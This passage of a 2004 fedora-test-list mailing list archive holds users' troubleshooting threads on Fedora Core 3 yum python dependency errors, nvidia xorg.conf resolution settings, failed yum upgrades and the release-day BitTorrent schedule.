Sun, 07 Nov 2004 09:22:32 -0700 Subject: Yum update fails python deps today... Message-ID: <1099844552.4800.0.camel@spike-home.comcast.net> Running updated on FC3T3 this morning fail with a number of python deps. Following is a snippet of the last part of the output: ==================================================== --> Running transaction check --> Processing Dependency: python-abi= 2.3 for package: system-config- printer --> Processing Dependency: python< 0:2.4 for package: python-ldap --> Processing Dependency: libmysqlclient.so.10 for package: mod_auth_mysql --> Processing Dependency: python-abi= 2.3 for package: pyparted --> Processing Dependency: libmysqlclient.so.10 for package: perl-DBD- MySQL --> Processing Dependency: /usr/lib/python2.3 for package: libxml2- python Importing Additional filelist information for depresolution developmen: ################################################## 3558/3558 --> Processing Dependency: libmysqlclient.so.10 for package: php-mysql --> Processing Conflict: postgresql-python conflicts python>= 2.4 --> Processing Dependency: python-abi= 2.3 for package: alchemist --> Processing Dependency: libmysqlclient.so.10 for package: dovecot --> Processing Dependency: libpython2.3.so.1.0 for package: postgresql- pl --> Processing Dependency: libmysqlclient_r.so.10 for package: MySQL- python --> Processing Dependency: libmysqlclient.so.10 for package: MyODBC --> Processing Dependency: python-abi= 2.3 for package: gnome-python2 --> Processing Dependency: libmysqlclient.so.10 for package: libdbi-dbd- mysql --> Restarting Dependency Resolution with new changes. --> Populating transaction set with selected packages. Please wait. ---> Package mysqlclient10.i386 0:3.23.58-4 set to be installed --> Running transaction check --> Processing Dependency: python-abi= 2.3 for package: system-config- printer --> Processing Dependency: python< 0:2.4 for package: python-ldap --> Processing Dependency: python-abi= 2.3 for package: pyparted --> Processing Dependency: /usr/lib/python2.3 for package: libxml2- python Importing Additional filelist information for depresolution --> Processing Conflict: postgresql-python conflicts python>= 2.4 --> Processing Dependency: python-abi= 2.3 for package: alchemist --> Processing Dependency: libpython2.3.so.1.0 for package: postgresql- pl --> Processing Dependency: python-abi= 2.3 for package: gnome-python2 --> Finished Dependency Resolution Error: missing dep: python-abi for pkg system-config-printer Error: missing dep: python for pkg python-ldap Error: missing dep: python-abi for pkg pyparted Error: missing dep: /usr/lib/python2.3 for pkg libxml2-python Error: postgresql-python conflicts with python>= 2.4 Error: missing dep: python-abi for pkg alchemist Error: missing dep: libpython2.3.so.1.0 for pkg postgresql-pl Error: missing dep: python-abi for pkg gnome-python2 ==================================================== Any ideas? Cheers, Chris -- ====================== When the solution is simple, God is answering. -- Albert Einstein -- ====================== When the solution is simple, God is answering. -- Albert Einstein From jerone at gmail.com Sun Nov 7 15:29:30 2004 From: jerone at gmail.com (Jerone Young) Date: Sun, 7 Nov 2004 09:29:30 -0600 Subject: BitTorrent for FC3 Release In-Reply-To: <1099814583.6240.13.camel@portnoy> References: <1099805391.27439.10.camel@oscar.metro1.com> <1099814583.6240.13.camel@portnoy> Message-ID: <9f50a7a00411070729536c4610@mail.gmail.com> Why all this secrecy. You whould swear this was some kind of corprate release. I thought that this was to preserve bandwidth for ftp mirrors and get them ready for the heavy load. Why whouldn't you release the bittorrent files first, (building a network among folks on the list) that way when 3pm Monday does come there are many seeders who can help, and it would extremely relieve the ftp sites. On Sun, 07 Nov 2004 03:03:03 -0500, seth vidal wrote: > On Sat, 2004-11-06 at 21:29 -0800, Sean Bruno wrote: > > > > > > > > I am going to be flying out of town when FC3 is released on Monday AM. > > > > If I get up early enough(4:00AM PST), will I be able to start up a > > BitTorrent Download/Share? I wanted to leave my box up on the Torrent > > for the first few weeks to help out, but I won't be able to get to my > > machine for the next week or so... > > > > No big deal if its not, just curious if I should set my alarm an hour or > > two early in order to start up my Torrent Client. It seems that it > > about the only thing I can get do for the Linux community lately, i.e. > > leave my machine up on various BitTorrents... > > > > The bittorrent release will happen at the same time as the mirrors open > up. > > Monday 3PM EST GMT-5 > > -sv > > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From skvidal at phy.duke.edu Sun Nov 7 16:39:03 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 07 Nov 2004 11:39:03 -0500 Subject: BitTorrent for FC3 Release In-Reply-To: <9f50a7a00411070729536c4610@mail.gmail.com> References: <1099805391.27439.10.camel@oscar.metro1.com> <1099814583.6240.13.camel@portnoy> <9f50a7a00411070729536c4610@mail.gmail.com> Message-ID: <1099845543.6240.17.camel@portnoy> On Sun, 2004-11-07 at 09:29 -0600, Jerone Young wrote: > Why all this secrecy. You whould swear this was some kind of corprate > release. I thought that this was to preserve bandwidth for ftp mirrors > and get them ready for the heavy load. Why whouldn't you release the > bittorrent files first, (building a network among folks on the list) > that way when 3pm Monday does come there are many seeders who can > help, and it would extremely relieve the ftp sites. 1. don't top post 2. I don't make the rules, I just help out with the torrent. Red Hat doesn't want releases getting out before they release them. -sv From mrguytx at austin.rr.com Sun Nov 7 17:10:15 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 11:10:15 -0600 Subject: no sound with kernel-2.6.9-1.667 In-Reply-To: <418E28F8.9010100@linux.net.mk> References: <418E28F8.9010100@linux.net.mk> Message-ID: <1099847415.3581.0.camel@guyleidadell> On Sun, 2004-11-07 at 14:54 +0100, Arangel Angov wrote: > I did an up2date update a few days ago and among others added linux > 2.6.9-1.667. After system was rebooted, same modules were loaded but > there's no sound. Kudzu didn't help. It's still no mixer elements or > devices found. :0 Anyone had this problem? Hope this will be fixed in > the final release. > I upgraded mine a couple days ago as well and didn't see this issue. What kind of sound card? -- =Guy 11:09:49 up 2:35, 2 users, load average: 1.63, 1.36, 1.33 From trulsg at broadpark.no Sun Nov 7 17:10:12 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Sun, 07 Nov 2004 18:10:12 +0100 Subject: yum update from RC5 to full release possible? In-Reply-To: <1099839759.3718.1.camel@craft.us.org> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> <1099839759.3718.1.camel@craft.us.org> Message-ID: <418E56F4.5030400@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Brian Craft wrote: | On Sun, 2004-11-07 at 08:56 -0500, Robert Couture wrote: | |>On Sun, 2004-07-11 at 16:48 +1100, Colin Charles wrote: |> |>>yum update yum |> |>>first. Then afterward, a full update/upgrade will do you good. I think |>>even /etc/fedora-release should get sorted out for you ;) |> |>That brings up a question. Shouldn't /etc/fedora-release have been |>updated as RAWHIDE got updated? |> |>The reason I ask, is that my system still shows is as test2 although I |>am current to RAWHIDE. |> |>Thanks, |> |>Robert. |> |> |> | | fedora-release-3-6.i386.rpm appears to report as Fedora Core | 3..........I got it from | http://testing.fedora.redhat.com/tree/i386/os/Fedora/RPMS/ | Hi, Be carefull!!!! I have tried the yum upgrade method from fc2 to the latest fc3test version. For me it did not work and I have not found a work-around to my problem. The thing is that everything seems to go fine as described by the experts all the way till reboot time. Then my computer stops loading at a point where it "switch to new root". And thats it. The hard disk does some work and it all stops. Luckily I did this on a test machine so no info are lost but be carefull to make back ups and be prepared to do a complete install if all goes wrong. Please check out mails with the subject "yum upgrade?" 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Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From skvidal at phy.duke.edu Sun Nov 7 17:24:22 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 07 Nov 2004 12:24:22 -0500 Subject: yum upgrade? - Failed In-Reply-To: <418D390E.4070408@broadpark.no> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> <418A9A11.3070601@broadpark.no> <1099641608.9565.10.camel@binkley> <418BEC79.5020503@broadpark.no> <418D390E.4070408@broadpark.no> Message-ID: <1099848262.6240.21.camel@portnoy> > | > | Everything went fine until reboot. I have two kernels installed > | 2.6.8-152 and 2.6.9.649. > | > | When using the 2.6.9 kernel startup stops at a point when it says > | "switching to new root" > | and > | when using the 2.6.8 kernel startup stops at almost the same place > | stating "Warning: unable to open an initial console". > | > | It was a good thing I did this on a test machine not my live one but do > | you have any suggestions to work around this or am I at a point where > | need to install from a cd? Is udev installed? try running: rpm -Va --nofiles and see what it turns up. I bet something in your system has a missing dep. -sv From stevef at netvantix.com Sun Nov 7 17:34:32 2004 From: stevef at netvantix.com (Steve Fink) Date: Sun, 07 Nov 2004 10:34:32 -0700 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099809644.3535.1.camel@guyleidadell> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> <1099805913.3599.2.camel@guyleidadell> <1099807461.5877.27.camel@ricardo.veguilla.net> <1099809644.3535.1.camel@guyleidadell> Message-ID: <1099848872.21760.20.camel@orion> Guy, My C840 does 1600x1200 with no problem. I noticed that you are still loading DRI in your xorg.conf. Unless the Nvidia driver has changed recently this is supposed to be off, FWIW. This is a stippit from my xorg.conf on Monitor. Section "Monitor" Identifier "Monitor0" VendorName "Monitor Vendor" ModelName "Dell 1600x1200 Laptop Display Panel" HorizSync 31.5 - 90.0 VertRefresh 59.0 - 85.0 Option "dpms" EndSection Note the VertRefresh, it has to be higher than 60hz to allow 1600x1200, or X will not validate that configuration. Best, Steve On Sun, 2004-11-07 at 00:40 -0600, W. Guy Thomas wrote: > On Sun, 2004-11-07 at 02:04 -0400, Ricardo Veguilla wrote: > > On Sat, 2004-11-06 at 23:38 -0600, W. Guy Thomas wrote: > > > On Sun, 2004-11-07 at 01:17 -0400, Ricardo Veguilla wrote: > > > > On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > > > > > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > > > > > now if I could only get to 1600x1200! > > > > > > > > > > > > xorg.conf follows: > > > > > > > > > > > > > > > > > > > > > > > Section "Monitor" > > > > > > Identifier "Monitor0" > > > > > > VendorName "Monitor Vendor" > > > > > > ModelName "LCD Panel 1600x1200" > > > > > > HorizSync 31.5 - 90.0 > > > > > > VertRefresh 60.0 - 60.0 > > > > > > Option "dpms" > > > > > > EndSection > > > > > > > > > > > > > > > > > > > > > If you know your monitors supports that resolution, add > > > > > > > > > > Option "IgnoreEDID" "true" > > > > > > > > > > to the "Device" section, and it should work. > > > > > > > > > > > > > Ok... I don't know why I quoted the "Monitor" section instead of the > > > > "Device" section. > > > > > > > > Anyway, the instructions are correct, assuming a) the monitors supports > > > > the resolution, b) your are using the nvidia driver, c) the "Display" > > > > section is set up correctly. > > > > > > > > > > > > Regards, > > > > -- > > > > Ricardo Veguilla > > > > > > last question, I *know* this box is supposed to do that 1600 res, but I > > > have never seen it...if I add this line am I liable to do any damage? > > > > > I guess it could damage your monitor/display (assuming it doesn't really > > support that resolution) but, I really don't know. In my case, I know my > > monitor accepts that resolution because a) it works with the xorg > > drivers, b) it works in Windows with the Nvidia drivers. > > > > Regards, > > -- > > Ricardo Veguilla > > > > thanks, it didn't work, I got a double split screen so I'm guessing that > even though this model laptop will do 1600, the nvidia drivers just > aren't there yet. > > thank you so much for all the input tonite. > > -- > =Guy > 00:39:42 up 12 min, 2 users, load average: 0.47, 1.74, 1.30 -- ------------------------- Steve Fink GPG Public Key 1024D/0FF85E51 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From terraformers at gmx.net Sun Nov 7 17:40:53 2004 From: terraformers at gmx.net (Lars) Date: Sun, 07 Nov 2004 18:40:53 +0100 Subject: Yum update fails python deps today... References: <1099844552.4800.0.camel@spike-home.comcast.net> Message-ID: try "yum --exclude=python update" worked for me. Christopher A. Williams wrote: > Running updated on FC3T3 this morning fail with a number of python deps. > Following is a snippet of the last part of the output: > > ==================================================== > --> Running transaction check > --> Processing Dependency: python-abi= 2.3 for package: system-config- > printer > --> Processing Dependency: python< 0:2.4 for package: python-ldap > --> Processing Dependency: libmysqlclient.so.10 for package: > mod_auth_mysql > --> Processing Dependency: python-abi= 2.3 for package: pyparted > --> Processing Dependency: libmysqlclient.so.10 for package: perl-DBD- > MySQL > --> Processing Dependency: /usr/lib/python2.3 for package: libxml2- > python > Importing Additional filelist information for depresolution > developmen: ################################################## 3558/3558 > --> Processing Dependency: libmysqlclient.so.10 for package: php-mysql > --> Processing Conflict: postgresql-python conflicts python>= 2.4 > --> Processing Dependency: python-abi= 2.3 for package: alchemist > --> Processing Dependency: libmysqlclient.so.10 for package: dovecot > --> Processing Dependency: libpython2.3.so.1.0 for package: postgresql- > pl > --> Processing Dependency: libmysqlclient_r.so.10 for package: MySQL- > python > --> Processing Dependency: libmysqlclient.so.10 for package: MyODBC > --> Processing Dependency: python-abi= 2.3 for package: gnome-python2 > --> Processing Dependency: libmysqlclient.so.10 for package: libdbi-dbd- > mysql > --> Restarting Dependency Resolution with new changes. > --> Populating transaction set with selected packages. Please wait. > ---> Package mysqlclient10.i386 0:3.23.58-4 set to be installed > --> Running transaction check > --> Processing Dependency: python-abi= 2.3 for package: system-config- > printer > --> Processing Dependency: python< 0:2.4 for package: python-ldap > --> Processing Dependency: python-abi= 2.3 for package: pyparted > --> Processing Dependency: /usr/lib/python2.3 for package: libxml2- > python > Importing Additional filelist information for depresolution > --> Processing Conflict: postgresql-python conflicts python>= 2.4 > --> Processing Dependency: python-abi= 2.3 for package: alchemist > --> Processing Dependency: libpython2.3.so.1.0 for package: postgresql- > pl > --> Processing Dependency: python-abi= 2.3 for package: gnome-python2 > --> Finished Dependency Resolution > Error: missing dep: python-abi for pkg system-config-printer > Error: missing dep: python for pkg python-ldap > Error: missing dep: python-abi for pkg pyparted > Error: missing dep: /usr/lib/python2.3 for pkg libxml2-python > Error: postgresql-python conflicts with python>= 2.4 > Error: missing dep: python-abi for pkg alchemist > Error: missing dep: libpython2.3.so.1.0 for pkg postgresql-pl > Error: missing dep: python-abi for pkg gnome-python2 > ==================================================== > > Any ideas? > > Cheers, > > Chris > > -- > ====================== > When the solution is simple, > God is answering. > > -- Albert Einstein > > > -- > ====================== > When the solution is simple, > God is answering. > > -- Albert Einstein > > > -- No Software Patents! http://nosoftwarepatents.com - Get Firefox! http://spreadfirefox.com From mpeters at mac.com Sun Nov 7 18:01:23 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 07 Nov 2004 18:01:23 +0000 Subject: Missing deps for the latest set of updates In-Reply-To: <1099826726.26720.4.camel@ricardo.veguilla.net> (from veguilla@hpcf.upr.edu on Sun Nov 7 03:25:26 2004) References: <1099825591.23372.3.camel@localhost.localdomain> <1099826726.26720.4.camel@ricardo.veguilla.net> Message-ID: <1099850483l.4031l.0l@devel.mpeters.us> On 11/07/2004 03:25:26 AM, Ricardo Veguilla wrote: > > The problem is that python-2.4 was added to the repository, but many > packages depend on python-2.3. Until all the packages are updated to > use > the new version of python, you can exclude it from the update > operation > by running: > > "yum --exclude python\* update" Supposedly there is a way to make rpm's be relatively independent of Python version - where some final step is actually performed at install time rather than during build. Not sure how easy it is to do that though. From jspaleta at gmail.com Sun Nov 7 17:40:18 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sun, 7 Nov 2004 12:40:18 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <1099835767.4821.54.camel@RuneLinux.tamn.local> References: <200411060111.24328.gene.heskett@verizon.net> <1099806537.3414.74.camel@hermione.soho.bytebot.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> Message-ID: <604aa79104110709403fc8d1f8@mail.gmail.com> On Sun, 07 Nov 2004 08:56:07 -0500, Robert Couture wrote: > That brings up a question. Shouldn't /etc/fedora-release have been > updated as RAWHIDE got updated? > > The reason I ask, is that my system still shows is as test2 although I > am current to RAWHIDE. my system reports as rawhide rpm -q fedora-release fedora-release-3-rawhide If i were a betting man I'd wager yer fedora-release package that is installed is different. -jef From mrguytx at austin.rr.com Sun Nov 7 18:11:26 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 12:11:26 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099848872.21760.20.camel@orion> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> <1099805913.3599.2.camel@guyleidadell> <1099807461.5877.27.camel@ricardo.veguilla.net> <1099809644.3535.1.camel@guyleidadell> <1099848872.21760.20.camel@orion> Message-ID: <1099851086.3581.2.camel@guyleidadell> alright! lemme try this...hold on!!!!!!!! G On Sun, 2004-11-07 at 10:34 -0700, Steve Fink wrote: > Guy, > > My C840 does 1600x1200 with no problem. I noticed that you are still > loading DRI in your xorg.conf. Unless the Nvidia driver has changed > recently this is supposed to be off, FWIW. > > This is a stippit from my xorg.conf on Monitor. > > Section "Monitor" > Identifier "Monitor0" > VendorName "Monitor Vendor" > ModelName "Dell 1600x1200 Laptop Display Panel" > HorizSync 31.5 - 90.0 > VertRefresh 59.0 - 85.0 > Option "dpms" > EndSection > > > Note the VertRefresh, it has to be higher than 60hz to allow 1600x1200, > or X will not validate that configuration. > > Best, > > Steve > > > > On Sun, 2004-11-07 at 00:40 -0600, W. Guy Thomas wrote: > > On Sun, 2004-11-07 at 02:04 -0400, Ricardo Veguilla wrote: > > > On Sat, 2004-11-06 at 23:38 -0600, W. Guy Thomas wrote: > > > > On Sun, 2004-11-07 at 01:17 -0400, Ricardo Veguilla wrote: > > > > > On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > > > > > > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > > > > > > now if I could only get to 1600x1200! > > > > > > > > > > > > > > xorg.conf follows: > > > > > > > > > > > > > > > > > > > > > > > > > > > Section "Monitor" > > > > > > > Identifier "Monitor0" > > > > > > > VendorName "Monitor Vendor" > > > > > > > ModelName "LCD Panel 1600x1200" > > > > > > > HorizSync 31.5 - 90.0 > > > > > > > VertRefresh 60.0 - 60.0 > > > > > > > Option "dpms" > > > > > > > EndSection > > > > > > > > > > > > > > > > > > > > > > > > > If you know your monitors supports that resolution, add > > > > > > > > > > > > Option "IgnoreEDID" "true" > > > > > > > > > > > > to the "Device" section, and it should work. > > > > > > > > > > > > > > > > Ok... I don't know why I quoted the "Monitor" section instead of the > > > > > "Device" section. > > > > > > > > > > Anyway, the instructions are correct, assuming a) the monitors supports > > > > > the resolution, b) your are using the nvidia driver, c) the "Display" > > > > > section is set up correctly. > > > > > > > > > > > > > > > Regards, > > > > > -- > > > > > Ricardo Veguilla > > > > > > > > last question, I *know* this box is supposed to do that 1600 res, but I > > > > have never seen it...if I add this line am I liable to do any damage? > > > > > > > I guess it could damage your monitor/display (assuming it doesn't really > > > support that resolution) but, I really don't know. In my case, I know my > > > monitor accepts that resolution because a) it works with the xorg > > > drivers, b) it works in Windows with the Nvidia drivers. > > > > > > Regards, > > > -- > > > Ricardo Veguilla > > > > > > > thanks, it didn't work, I got a double split screen so I'm guessing that > > even though this model laptop will do 1600, the nvidia drivers just > > aren't there yet. > > > > thank you so much for all the input tonite. > > > > -- > > =Guy > > 00:39:42 up 12 min, 2 users, load average: 0.47, 1.74, 1.30 > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- =Guy 12:11:13 up 3:36, 2 users, load average: 0.56, 0.54, 0.66 From rpaiz at simpaticus.com Sun Nov 7 18:21:30 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 07 Nov 2004 12:21:30 -0600 Subject: BitTorrent for FC3 Release In-Reply-To: <9f50a7a00411070729536c4610@mail.gmail.com> References: <1099805391.27439.10.camel@oscar.metro1.com> <1099814583.6240.13.camel@portnoy> <9f50a7a00411070729536c4610@mail.gmail.com> Message-ID: <1099851690.3384.89.camel@localhost.localdomain> On Sun, 2004-11-07 at 09:29 -0600, Jerone Young wrote: > Why all this secrecy. You whould swear this was some kind of corprate > release. I thought that this was to preserve bandwidth for ftp mirrors > and get them ready for the heavy load. Why whouldn't you release the > bittorrent files first, (building a network among folks on the list) > that way when 3pm Monday does come there are many seeders who can > help, and it would extremely relieve the ftp sites. > BitTorrent *will* relieve demand on the mirrors. However, the point of having a release date is to have a release date; no point in setting a release date if you release before the release date, right? By the way, please don't top post, and please delete unnecessary content from previous messages when you reply (i.e. trim your post). If you do not show the list the simple courtesy everyone expects, you will not get a lot of courtesy yourself. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rpa4email at rogers.com Sun Nov 7 18:26:40 2004 From: rpa4email at rogers.com (Robert Couture) Date: Sun, 7 Nov 2004 13:26:40 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <604aa79104110709403fc8d1f8@mail.gmail.com> References: <200411060111.24328.gene.heskett@verizon.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> <604aa79104110709403fc8d1f8@mail.gmail.com> Message-ID: <200411071326.40695.rpa4email@rogers.com> On November 7, 2004 12:40 pm, Jeff Spaleta wrote: > > That brings up a question. Shouldn't /etc/fedora-release have been > > updated as RAWHIDE got updated? > > The reason I ask, is that my system still shows is as test2 although I > > am current to RAWHIDE. > my system reports as rawhide > rpm -q fedora-release > fedora-release-3-rawhide > If i were a betting man I'd wager yer fedora-release package that is > installed is different. If you were a betting man, you would be correct: fedora-release-2.91-4 Why did this not get updated? That is my my question. Robert. From mrguytx at austin.rr.com Sun Nov 7 18:32:52 2004 From: mrguytx at austin.rr.com (W. Guy Thomas) Date: Sun, 07 Nov 2004 12:32:52 -0600 Subject: nvidia driver kernel 2.6.9 667 In-Reply-To: <1099848872.21760.20.camel@orion> References: <20041106020558.10564.qmail@webmail07.mesa1.secureserver.net> <418C3237.9010006@comcast.net> <418C5A2C.3040208@gulik.org> <1099761787.5210.2.camel@orion> <1099767788.3714.7.camel@guyleidadell> <1099800025.3869.2.camel@guyleidadell> <418D9F99.2040903@comcast.net> <1099801217.3869.7.camel@guyleidadell> <418DA4DD.2010200@comcast.net> <1099802762.3715.1.camel@guyleidadell> <418DA98E.3090307@comcast.net> <1099803429.3715.3.camel@guyleidadell> <1099803671.3715.7.camel@guyleidadell> <1099804424.5877.14.camel@ricardo.veguilla.net> <1099804667.5877.19.camel@ricardo.veguilla.net> <1099805913.3599.2.camel@guyleidadell> <1099807461.5877.27.camel@ricardo.veguilla.net> <1099809644.3535.1.camel@guyleidadell> <1099848872.21760.20.camel@orion> Message-ID: <1099852372.3526.1.camel@guyleidadell> weird, in system settings/display, I can pick 16x12 but not in preferences/screen resolution, it only goes to 1400, also it lists the refresh there as 60hz... do you have nvidia geforce 4 (generic) as your graphics card in system settings/display? darnit, I can tell I'm close... G On Sun, 2004-11-07 at 10:34 -0700, Steve Fink wrote: > Guy, > > My C840 does 1600x1200 with no problem. I noticed that you are still > loading DRI in your xorg.conf. Unless the Nvidia driver has changed > recently this is supposed to be off, FWIW. > > This is a stippit from my xorg.conf on Monitor. > > Section "Monitor" > Identifier "Monitor0" > VendorName "Monitor Vendor" > ModelName "Dell 1600x1200 Laptop Display Panel" > HorizSync 31.5 - 90.0 > VertRefresh 59.0 - 85.0 > Option "dpms" > EndSection > > > Note the VertRefresh, it has to be higher than 60hz to allow 1600x1200, > or X will not validate that configuration. > > Best, > > Steve > > > > On Sun, 2004-11-07 at 00:40 -0600, W. Guy Thomas wrote: > > On Sun, 2004-11-07 at 02:04 -0400, Ricardo Veguilla wrote: > > > On Sat, 2004-11-06 at 23:38 -0600, W. Guy Thomas wrote: > > > > On Sun, 2004-11-07 at 01:17 -0400, Ricardo Veguilla wrote: > > > > > On Sun, 2004-11-07 at 01:13 -0400, Ricardo Veguilla wrote: > > > > > > On Sat, 2004-11-06 at 23:01 -0600, W. Guy Thomas wrote: > > > > > > > now if I could only get to 1600x1200! > > > > > > > > > > > > > > xorg.conf follows: > > > > > > > > > > > > > > > > > > > > > > > > > > > Section "Monitor" > > > > > > > Identifier "Monitor0" > > > > > > > VendorName "Monitor Vendor" > > > > > > > ModelName "LCD Panel 1600x1200" > > > > > > > HorizSync 31.5 - 90.0 > > > > > > > VertRefresh 60.0 - 60.0 > > > > > > > Option "dpms" > > > > > > > EndSection > > > > > > > > > > > > > > > > > > > > > > > > > If you know your monitors supports that resolution, add > > > > > > > > > > > > Option "IgnoreEDID" "true" > > > > > > > > > > > > to the "Device" section, and it should work. > > > > > > > > > > > > > > > > Ok... I don't know why I quoted the "Monitor" section instead of the > > > > > "Device" section. > > > > > > > > > > Anyway, the instructions are correct, assuming a) the monitors supports > > > > > the resolution, b) your are using the nvidia driver, c) the "Display" > > > > > section is set up correctly. > > > > > > > > > > > > > > > Regards, > > > > > -- > > > > > Ricardo Veguilla > > > > > > > > last question, I *know* this box is supposed to do that 1600 res, but I > > > > have never seen it...if I add this line am I liable to do any damage? > > > > > > > I guess it could damage your monitor/display (assuming it doesn't really > > > support that resolution) but, I really don't know. In my case, I know my > > > monitor accepts that resolution because a) it works with the xorg > > > drivers, b) it works in Windows with the Nvidia drivers. > > > > > > Regards, > > > -- > > > Ricardo Veguilla > > > > > > > thanks, it didn't work, I got a double split screen so I'm guessing that > > even though this model laptop will do 1600, the nvidia drivers just > > aren't there yet. > > > > thank you so much for all the input tonite. > > > > -- > > =Guy > > 00:39:42 up 12 min, 2 users, load average: 0.47, 1.74, 1.30 > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- =Guy 12:30:57 up 7 min, 1 user, load average: 0.65, 0.54, 0.27 From trulsg at broadpark.no Sun Nov 7 18:37:41 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Sun, 07 Nov 2004 19:37:41 +0100 Subject: yum upgrade? - Failed In-Reply-To: <1099848262.6240.21.camel@portnoy> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <604aa79104110405053e6e3ad@mail.gmail.com> <1099574143.3536.1.camel@binkley> <418A9A11.3070601@broadpark.no> <1099641608.9565.10.camel@binkley> <418BEC79.5020503@broadpark.no> <418D390E.4070408@broadpark.no> <1099848262.6240.21.camel@portnoy> Message-ID: <418E6B75.3080101@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 seth vidal wrote: |>| |>| Everything went fine until reboot. I have two kernels installed |>| 2.6.8-152 and 2.6.9.649. |>| |>| When using the 2.6.9 kernel startup stops at a point when it says |>| "switching to new root" |>| and |>| when using the 2.6.8 kernel startup stops at almost the same place |>| stating "Warning: unable to open an initial console". |>| |>| It was a good thing I did this on a test machine not my live one but do |>| you have any suggestions to work around this or am I at a point where |>| need to install from a cd? | | | Is udev installed? | | try running: rpm -Va --nofiles | | and see what it turns up. | | I bet something in your system has a missing dep. | | -sv | | Yes, I have installe udev. rpm -Va --nofiles gave nothing, just a blank commandline. The only way I can get a command line is by using a rescue cd. What happens before the system halts is: - --quote Loading jbd.ko module Loading ext3.ko module Creating block device Creating root device Mounting root filesystem kjournald startin. Commmit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. Switching to new root - --unquote then is stops. I can restart using alt-ctrl-del so the computer responds but not to any commands. Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBjmt1ickK29LSyG8RAvIoAKCoxyL/0mogfkk4xkB7DFP+VYoNAQCg3jWd OzBsER8/IoHgr34o1m0FrWY= =s1V6 -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From jspaleta at gmail.com Sun Nov 7 18:43:40 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sun, 7 Nov 2004 13:43:40 -0500 Subject: yum update from RC5 to full release possible? In-Reply-To: <200411071326.40695.rpa4email@rogers.com> References: <200411060111.24328.gene.heskett@verizon.net> <1099835767.4821.54.camel@RuneLinux.tamn.local> <604aa79104110709403fc8d1f8@mail.gmail.com> <200411071326.40695.rpa4email@rogers.com> Message-ID: <604aa791041107104349168071@mail.gmail.com> On Sun, 7 Nov 2004 13:26:40 -0500, Robert Couture wrote: > If you were a betting man, you would be correct: fedora-release-2.91-4 fedora-release-2.91-4 is i386 fedora-release-3-rawhide is noarch in arch comparison on 32bit systems i386 looks "better" than noarch just like "i686" looks better than "i386" when multiple arches for a package are available. On top of that yum has a setting called "exactarch" in the config file(s) which can be set to only update packages if its the same arch as the current package.. to avoid a category of packaging problems that have bitten people in the past. During the test phase this time fedora-release became noarch. So.... find the exactarch=1 line in your yum 